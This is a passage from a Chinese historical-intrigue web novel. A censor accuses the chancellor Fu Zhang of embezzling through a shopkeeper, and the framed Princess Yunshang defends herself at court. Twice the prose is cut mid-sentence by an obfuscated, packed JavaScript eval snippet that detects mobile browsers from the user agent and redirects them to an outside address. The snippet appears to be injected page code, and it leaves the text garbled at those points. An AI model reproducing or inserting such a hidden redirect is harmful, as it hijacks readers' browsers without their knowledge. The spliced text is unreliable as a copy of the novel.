他看了一眼太后,说道,“太后娘娘体恤臣囊中羞涩,赏赐给臣的。” 黄德胜根本不撒口:“太后娘娘赏赐你上十万两银子?” 傅璋稳稳地说:“是。” 黄德胜看看太后,毫不客气地道:“太后娘娘不要包庇这个贼子,臣去查过了,他这次拍卖所用的银子,均是来自江南粮商苏叶。” 这句话一出,傅璋的汗唰地湿透了内衣。 被发现了? 尽管他准备得万无一失,查到最后也只是查到梁幼仪的头上,但是能不查当然最好。 “你胡说,本相根本不认识什么苏叶,什么粮商。你捏造事实,污蔑朝廷命官,蒙蔽陛下和太后娘娘,意欲何为?” “陛下,太后娘娘,丞相大人之所以赖账,他以为别人发现不了他贪墨的隐蔽手段。” 黄德胜举了举手中的册子,“他贪腐银两的方式虽然十分隐秘,但是,臣已经拿到证据了。” “他通过东城一个杂货铺里姓郭的掌柜,在赌坊以赌赢的方式贪墨,然后交给他的管家白燕。” 黄德胜还用毛笔在一张纸上用箭头画出傅璋贪墨的过程:大商户→东城郭掌柜→相府管家→傅璋。 一目了然。 “太后娘娘,臣还知道,他为了拿这些赃款,与粮商勾结,给西南灾民送去发霉腐烂的陈粮!” 百官都觉得傅璋肯定完蛋了,黄德胜这是要上天的节奏啊! “本相说了,根本不认识你说的这些人!黄德胜,你亲眼看见本相拿银子了?太后娘娘,黄德胜污蔑臣,请太后娘娘为臣做主!” 傅璋一个头磕到底。 **黄德胜是怎么开了挂,拿到那么多证据,几乎分毫不差地打到他的七寸上。 第62章 东窗事发,一个被窝里睡过也没有用 太后对黄德胜说:“你可有人证物证?若有,与你手中小册子一并交给大理寺。” “臣,恳请此案一查到底,只要抓住郭掌柜、苏叶,一切都真相大白。那苏叶不止一次**,如今国库空虚,赈灾粮捉襟见肘,太后娘娘,切不可轻拿轻放啊!” “大胆黄德胜,竟敢要挟太后娘娘。”梁知年训斥道。 “定国公,天下是大陈的天下,太后是大陈的太后,臣是大陈的御史,臣给大陈的太后**奸佞,何来要挟?” 梁言栀听得心烦,却也不能打言官,谁能堵住御史的嘴呢?他们本来就是吃这碗饭的。 “丞相,黄大人说的可是实情?” “回禀太后娘娘,他纯粹造谣,臣一概不知。” 这时候,侍郎谢兴初站出来,说道:“太后娘娘,丞相大人和黄大人各执一词,不如把当事人全部拿住,一审究竟。” 太后看看刻漏,说道:“皇帝已经累了,先下朝吧,此事交给大理寺去查。” 大理寺卿立即上前一步:“臣领旨。” 傅璋身心疲惫,下了朝,一分钟都没耽误,对王巍说:“你立即骑马回府,告诉白管家,御史诬陷本相贪墨。牵涉东城杂货铺的郭掌柜,叫他立即查查到底怎么回事。” 王巍才来他身边不久,不知道实情,立即骑马回府。 春安把太后扶回凤辕宫,立即小跑出来,看着正要出宫的傅璋,赶紧喊住:“丞相大人,您留步,太后有话问您。” 傅璋又跟着他去了御书房。 太后在凤辕宫歇息了一会子,才来了御书房,看到在门口等待的傅璋,神色不好。 “丞相大人,现在没有别人了,你给朕说实话,到底怎么回事?” 傅璋小心翼翼地说道:“太后娘娘,贪墨的事,臣是万万不敢做的。只是这些日子以来,臣才发现府里疏于管理,积重难返。望太后娘娘宽宥臣几日,臣立即严查。” 太后听了这些话,松了一口气,说道:“你为国操劳,府里的事原本应交给主母打理,过些日子,云裳和夏大小姐过门,你便可无忧了。” 傅璋心知她口是心非,便说:“臣有罪,愧对太后娘娘的器重。” “朕已叫人吩咐武德司协助大理寺,于明、后日开始调查贪墨案,你不要太过忧心。” 傅璋明白,太后娘娘是告诉他,查案明日、后日才开始,他若有问题,要快点处理掉。 腊月初一摔断腿,如今勉强能站立行走了,他真心实意地给太后娘娘磕了头,便匆匆离开皇宫。 傅璋派王巍迅速回府告诉白燕消息,辅国公世子李桓献下朝,也急忙骑马回府。 回府就立即告诉顾锦颜:“夫人,今日黄德胜**傅璋贪墨......你快点去告诉云裳郡主,傅璋十有**会灭口。要想抓住傅璋的小辫子,就快点去东城把那个郭掌柜抓在自己手里。” 要能把苏叶抓住就好了。 李桓献是青州人,骨子里刚正不阿,他打心眼里厌恶傅璋,官场的事且不说,一个男人,对未婚妻不娶也不退婚,无限期地拖着人家,这本身就不是人干的事。 把黄德胜说的事悉数给顾锦颜说了一遍,顾锦颜激动坏了。 抱着李桓献,在他脸上狠狠亲了一口,说道:“世子爷,你可帮了幼幼一个大忙。她一直想抓住傅璋小人的辫子,如果能控制郭掌柜,说不得可以与傅贼谈判退婚。” 她立即派身边的花钿,骑快马给梁幼仪送了一封信。 花钿来定国公府,还专门送上一把**柄的团扇,周围镶着一圈的兔毛,中间是玉兔抱月。 做工很是细致。 入画在二门那边瞧见了,说:“这扇子太漂亮了,世子夫人对我家郡主真好。” 花钿笑着说:“这是族人送来的年礼,世子夫人说要照顾小少爷,不适合用这种精致的扇子,送给郡主最合适。” 花钿去了竹坞,把信给了梁幼仪。 “郡主,世子夫人说,郡主如果人手不够,她便立即给郡主送十个人过来。” 梁幼仪收下扇子,叫芳苓给花钿拿了两瓶梅影流香,叫她回去告诉顾锦颜,自己这边能行,让她放心。 花钿离开,芳苓皱眉道:“叠锦去找姜少爷了,奴婢去抓人吧?我们一定要将郭掌柜控制在手里,不然,傅璋肯定灭口。” 梁幼仪说:“放斑鸠,通知画楼,把郭掌柜拿了。” 芳苓走到廊下,打开鸟笼,把纸条塞进斑鸠的脚上小筒里。 不过还没有放飞,便看见墙头上一个人伸头往院里探望。 她把斑鸠脚上的纸筒捂在手心,问道:“你在这里做什么?” 子听双臂攀着墙头,有些不好意思,招招手,芳苓立即过去。 子听小声对她说:“芳苓姑娘,王爷叫我告诉郡主,东城铺子郭掌柜爷儿俩,前天夜里就被抓住了,苏叶也抓住了!” 芳苓笑得露出两个酒窝,心一下子落下来,说道:“我替郡主谢谢小王爷。” 子听看她笑,脸唰地红了。 芳苓的脸圆圆的,杏子眼又大又亮,笑起来两个小梨涡甜甜的特别招人。 他不好意思地去摸头,却忘了两手扒住墙呢,这么一松手,“噗通”摔下去了。 “嘻~” 芳苓笑得小狐狸一样,小王爷那么精明一个人,这个侍卫怎么傻乎乎的? 她一个翻身,正想翻墙过去看看子听是不是摔坏了,孰料子听刚才话没说完,也再次跃上墙来,两人在半空中来了个对撞。 “嘶~” “嚓~” 子听一手扒着墙头,一手去拉住芳苓,芳苓没掉地上,但是子听把芳苓的袖子给扯裂了。 芳苓的鼻子刚才半空里撞在子听的胸前,疼得她捂着鼻子直皱眉,看见自己的袖子被扯破了,怒瞪着眼睛骂道:“你怎么这么笨?” 子听一个劲地道歉:“对不住,对不住,芳苓姑娘,实在对不住,我真不是故意的。” “算啦,看在你们家小王爷好心帮忙的份上,不跟你计较了。”芳苓捂着鼻子一直揉,说道,“等着,我去禀报郡主。” 子听跳下墙,乖乖地在墙根候着。 梁幼仪听芳苓说了前后,叫子听进来,说道:“子听,明日早朝,黄德胜还会继续**,你叫王爷务必看好苏叶和郭掌柜,别叫他们**,明天交给大理寺做证人。” “郡主放心,王爷都安排好了。”子听咧嘴笑道,“奴才已经把那两人捆得结结实实,下巴都卸了,奴才警告过他们,谁要是不说实话,就把他们妻儿老小都杀了,祖坟也刨了。” 芳苓揉着鼻子笑了,说道:“你看着傻乎乎的,还挺狠的。” 梁幼仪问道:“他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452133|169418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道是王爷掳走的他们?” “不知道,是奴才亲自去办的,他们看见奴才之前,奴才就把他们敲晕了。” “子听,一事不烦二主,既然王爷把郭掌柜父子和苏叶都掳来了,那你们索性去相府的庄子上,把姚素衣身边的大丫鬟绿萝一并带过去。” 苏叶,郭掌柜,傅璋,绿萝,姚素衣,一条完整的证人链! 新粮、陈粮、赈灾粮重量相等,差价、赌资数目相同,证据互相印证。 证人证据,闭环! 完美! 傅璋,都是你的人,“肥水”不流外人田。 “郡主放心,绿萝、牙行的牙人,卖房的人全都在掌控中了,王爷不出面,已经通知黄德胜和大理寺卿,证人会直接交给大理寺卿。” 子听又强调一句,“王爷叫奴才告诉郡主,大理寺卿是自己人。” 梁幼仪没任何意见,凤阙看着年轻,办事真当是滴水不漏。 她都忘记还有牙人、房东这些个证人了。 话传到,子听就要走,但是走到门口又折返,说道:“郡主,太妃和王爷后天会来定国公府,感谢郡主的救命大恩。” 凤阙和老太妃亲自来府里谢恩? 梁幼仪说:“王爷体弱,太妃年纪大了,叫他们不必记挂此事。救他只是顺手的事,也算不得什么大恩。” “那可不行,郡主,王爷就等着这一天呢。” “嗯?” “郡主,奴才话传完了,奴才先走了。”子听一溜烟地翻墙跑了。 好险,差点说漏嘴。 芳苓说:“真痛快,黄德胜把傅桑榆下药的事捅出来,夏大小姐知道自己是被谁所害,总不会再恨郡主了,回头我们去收粮。” 收收收,渣男渣女的粮食一粒也不客气。 次日,早朝。 黄德胜战袍在身,手拿小本本,再接再厉。 在进金銮殿前,遇见了大理寺卿海瑞,像一只斗志昂扬的大公鸡,问道:“海大人,昨儿太后娘娘把贪墨案交给大理寺了,你别告诉下官你还没开始查!” 海瑞哈哈大笑:“咋着,你想**本官?” “如果海大人还没着手调查,让证人都跑了,那下官一定不客气,今儿定让你祖宗蒙羞。” “呸,你个老疯狗,逮谁咬谁!”海瑞笑着骂道,“你放心,本官宁肯回家种地,这辈子也不会叫你个老狗有机会咬到本官。” 傅璋在一边听他们说话,心里忐忑至极,脸上不显,却全身发软。 昨天下朝,他第一时间派王巍给白燕通风报信。 白燕立马通知郭掌柜逃走,从此不要回来。 他甚至安排好人,在郭掌柜逃跑的路上,假扮山匪把郭掌柜灭口,一劳永逸。 可等白燕紧赶慢赶到郭掌柜藏身的院子,发现郭掌柜父子俩都不见了。 白燕又偷偷去了东城杂货铺,也没找到人。 派人在他们原先待过的地方都偷偷找了数遍,硬是没找到人。 傅璋不死心,又让人去定国公府打听,昨天有谁来找过云裳郡主? 据姜霜身边的入画说,顾锦颜派人给郡主送了一把团扇。 他便知道要完。 一定是辅国公世子回去告诉了顾锦颜,顾锦颜给梁幼仪偷偷报信。 郭掌柜父子逃了最好,千万别被太皇太后的人抓住,更不要被云裳郡主抓住。 第63章 借机杀郡主?逆转(超欢乐) 早朝一开始,气氛微妙。 黄德胜一声不吭,等着其他大臣先讨论国事。 傅璋为了等会儿与黄德胜的战斗中获得加分,国事商讨,他比往常哪一天都积极。 一句话:我很重要,大陈离了我得散! 小皇帝昏昏欲睡时,国事讨论终于结束,春安喊出那句久违的话:“有事奏来,无事退朝。” 小皇帝的腰杆顿时直了,脑子清醒了,笑眯眯地看向黄德胜。 百官也都开始面上带了微笑,可以吃瓜了吧? 这时候,大理寺卿海瑞站出来,向前一步:“启禀太后娘娘,昨日黄德胜**丞相大人贪墨一案……” 关键时刻大喘气,说了上半句,下半句好久没有开口。 小皇帝急了:“你快说呀!” 海瑞拍拍自己的胸口,顺了口气,说道:“昨日,大理寺快马加鞭,对东城郭记杂货铺进行追查。” 傅璋本来是低着头,此时他也看向海瑞。 黄德胜最不着急,昨天晚上他收到了一封匿名信,告诉他证人证据齐全,今天海瑞大人只要不当堂回复,就叫他大胆开喷。 海瑞大人不负众望,说道:“臣,已经捉拿到了所有证人。” 傅璋很镇定,脑子里急速运转,捉拿到证人又如何,就算你捉住了郭掌柜,他也不可能揭发我。 就算你逮住了苏叶、郭掌柜,查到他们非法交易,该拿的人依旧不是我。 就算追到铺子,查到的还不是我! 最终,被追究的人应该是云裳郡主,或者说,是定国公府。 你们好好玩吧! “大理寺捉拿到证人,连夜提审,已经获得第一份口供。” 海瑞说,“郭掌柜名郭敬伟,其子郭司晨,俱招认,通过赌坊、钓鱼赠送纯金板凳、高价买其杂货等各种方式,从苏叶处索贿、**白银两百五十万两,黄金两万两。” 众人“啊”一声,国库收入一年才两千万两/贯,郭掌柜竟然**索贿两百五十万两,黄金两万两! 有这么多金银,俸银谁还在乎? 海瑞把手里早就准备好的初审口供,拿出来,当堂公布。 “赢天下赌徒口供、庄荷口供俱全,苏叶不得不承认向郭掌柜借赌**的事实。” 海瑞说完,傅璋立即说:“他们二人之间的交易,与我相府无关。” 海瑞说:“郭掌柜说把银票和金凳都交给了贵府白管家。” “你们不能凭他一面之词,定白管家有罪。”眼看着火就要烧到相府,傅璋不慌不忙地问道,“海大人,本相问问,这个郭掌柜是何许人?” “他就是杂货铺的掌柜。” “他是东家?” 海大人还真查过,说道:“不是,他只是个掌柜,他说他的主子是……” 海瑞看了看太后。 太后皱眉道:“你看朕做什么?难不成他说铺子的东家是朕?真是笑话。” 海瑞没办法,说道:“他的东家是云裳郡主。” 朝堂一片惊讶,傅璋唇角微微翘起,这不是按照他撒的饵,一步步把猪引进圈里了! “怎么会是云裳郡主?” “云裳郡主在贪墨?” 原本一直沉默的太后,忽然盛怒,道:“海大人,你说幕后东家是谁?” “是定国公府的云裳郡主。” 海大人声音不低,把梁知年惊得一跳:“不可能,云裳她怎么可能贪这么多金银?” 太后冷哼一声,对梁知年说:“定国公,看来你对你的女儿很不了解。麒麟阁二十日的拍卖会上,云裳也在。” 梁知年只觉得头嗡嗡直响,说道:“她真是胆大包天。” 傅璋听到朝堂百官议论,装模作样地给太后行礼,赔罪道:“云裳是否拿了金银尚无定论,万一是这个郭掌柜胡说八道呢?” 太后道:“大陈百姓如此艰难,连朕都不敢铺张浪费,多花百姓一文钱。她若敢借着国公府的名义大肆敛财,朕绝不姑息。” 辅国公听得皱眉,道:“丞相大人说得也对,郭掌柜胡说八道也未可知。云裳郡主一个女儿家,无权无势,又不能替他人办事,她怎么能贪墨那么多银两?” 夏致远哼了一声,说道:“这有什么稀奇的?她不能抛头露面去替人办事,就凭她云裳郡主的封号,凭她是定国公府的嫡女,凭她是太后娘娘的亲侄女,这大陈不知道多少人上赶着巴结呢!” 大理寺少卿蔺大人也点点头:“是啊,女子一旦贪婪起来,与男子比,有过之而无不及。” 太后说了一声:“来人,宣云裳郡主立即进宫。” 傅璋急忙行礼道:“云裳郡主是臣的未婚妻,还望太后娘娘宽恕她年少无知……” 夏致远巴不得梁幼仪倒霉,只要她罪行落实,傅璋势必和她解除婚约,那么夏青樾便可以做傅璋的正妻了。 “丞相大人说笑了,二十岁的女子若还是孩子,那及笄的女子只能是稚儿了?” “都别争了!”太后黑着脸,严肃地说,“把云裳郡主宣进宫再说。” 不多时,一队皇宫禁军去了定国公府,把梁幼仪请了来。 梁幼仪进了金銮殿,发现文武百官都在,心里发笑:还真是大阵仗! 梁知年一看见她,就怒喝一声:“孽障,你干的好事!!” “父亲何出此言?”梁幼仪老老实实跪下,给太后行礼,“见过太后娘娘,太后娘娘千岁千岁千千岁。” “云裳郡主,东城郭记杂货铺可是你名下的铺子?”太后问道。 她已经从傅璋那里知道,铺子是云裳的,他万分确定,亲眼见过房契在云裳手里。 “不是。”梁幼仪低垂眉眼,认真地回答。 “可是你手下的掌柜已经指认了你就是他的东家。” “臣没有说谎,在东城,臣没有铺子,臣在京城只有三间铺子,皆是曾祖母所赠,别无其他铺子。” 梁知年是武将,脾气火暴,骂道:“孽障,你还抵赖,难不成要当场指认你才死心?” 梁幼仪道:“不是女儿的铺子,女儿自然不认。女儿有酒铺日进斗金,不屑于冒认别人的财产!” 梁知年一脚狠狠踹来,李桓献眼疾手快,立即上前挡住这一脚,他是武将,自然知道梁知年这一脚的力量。 “定国公,没有查清楚之前,你也不能定云裳郡主的罪。您是叱咤风云的大将军,您这一脚下去,云裳郡主半条命都没了!” 李桓献皱眉道,“云裳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452134|169418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郡主乃先帝亲封的郡主,即便是国公爷,也不好随随便便当众殴打吧?” 谢兴初、李桓献等人都站出来替梁幼仪**。 梁幼仪早对这个姑姑和亲爹没了期望,但是定国公想一脚踹死她,还是不免令她寒心。 冷冷的眸中蓄着水雾,轻抿一下苍白的唇瓣,缓缓吐出几个字:“这次你还是不信女儿,对吗?” 梁知年脚顿住,恼羞成怒地低喝一声:“那到底是不是你的铺子?” “不是!” 黄德胜虽然得了梁幼仪那么多的揭帖,但是他并不知道是梁幼仪给他铺路,他只是对梁知年和太后这种“大义灭亲”搞得有点不会了。 “定国公,您这是要郡主喋血当堂?不怕吓着陛下了?”黄德胜开口就喷,“你当场殴打一品郡主是太过骄纵还是想**灭口?” 太后看梁幼仪不承认,便说:“云裳,你现在承认,朕还饶你一命,若你恶意扰乱朝堂,就算你是朕的侄女,朕也不会饶你!” 百官以前都听说过云裳郡主,说她是东洲大陆最美的美人,无人可比,今日一见,果然容貌气度无与伦比。 再看看这临危不乱,端庄大气的气势,许多人就都偷偷骂傅璋眼瞎,放着这么个美人不娶,是不是有病? 太后已经发怒:“把郭掌柜叫来,朕今天还不信问不清楚了。” 梁幼仪水眸微抬,道:“太后娘娘且慢。” “怕了?” “不是。”梁幼仪说,“臣请求太后娘娘叫来十个宫里的大宫女,太后娘娘身边的红莲、落雁都叫来。” “你想做什么?难道还想诬陷朕?” “不是,臣想自辩清白。”梁幼仪道,“待那郭掌柜进来,臣希望所有的大人公平公正,不要发出任何声音。” 她对黄德胜说:“黄大人,您是御史,最是公平,请你帮忙看着各位大人,不要有人徇私舞弊。” 黄德胜自然知道她说的是谁,说道:“郡主放心,下官一定盯着。” 太后想看看她做什么,傅璋也想看看。 铺子的房契是他亲手交给梁幼仪的,白燕与郭敬伟早已沟通好,铺子的东家就是云裳郡主,她想赖也赖不掉。 小皇帝终于打起精神,积极地催春安找十个宫女过来。 不多一会儿,春安叫来十个宫女,其中也包括红莲和落雁。 梁幼仪让她们站成一排,自己站在太后娘娘的龙案旁边。 不多一会儿,郭敬伟被带进来。 梁幼仪指着那十名宫女,对郭敬伟说道:“郭掌柜,你看看,这些人里,哪一位是云裳郡主?” 百官此时才明白她要做什么,暗自惊讶,难不成郭掌柜根本不认识云裳郡主? 郭敬伟进来,只看见满朝堂红色、紫色、黑色的官服,他早吓得半死。 听梁幼仪这么问,便十分认真地看着那十名宫女,好好地“辨认”起来。 傅璋有心提醒,可是黄德胜像盯蛋找缝隙的苍蝇一样看着他,他什么都不能做。 郭敬伟看了一会儿,心里有些慌乱,他从来没见过云裳郡主,但是,他想着郡主一定是穿戴最好的,看上去最威严的。 他指着落雁说:“她就是云裳郡主。”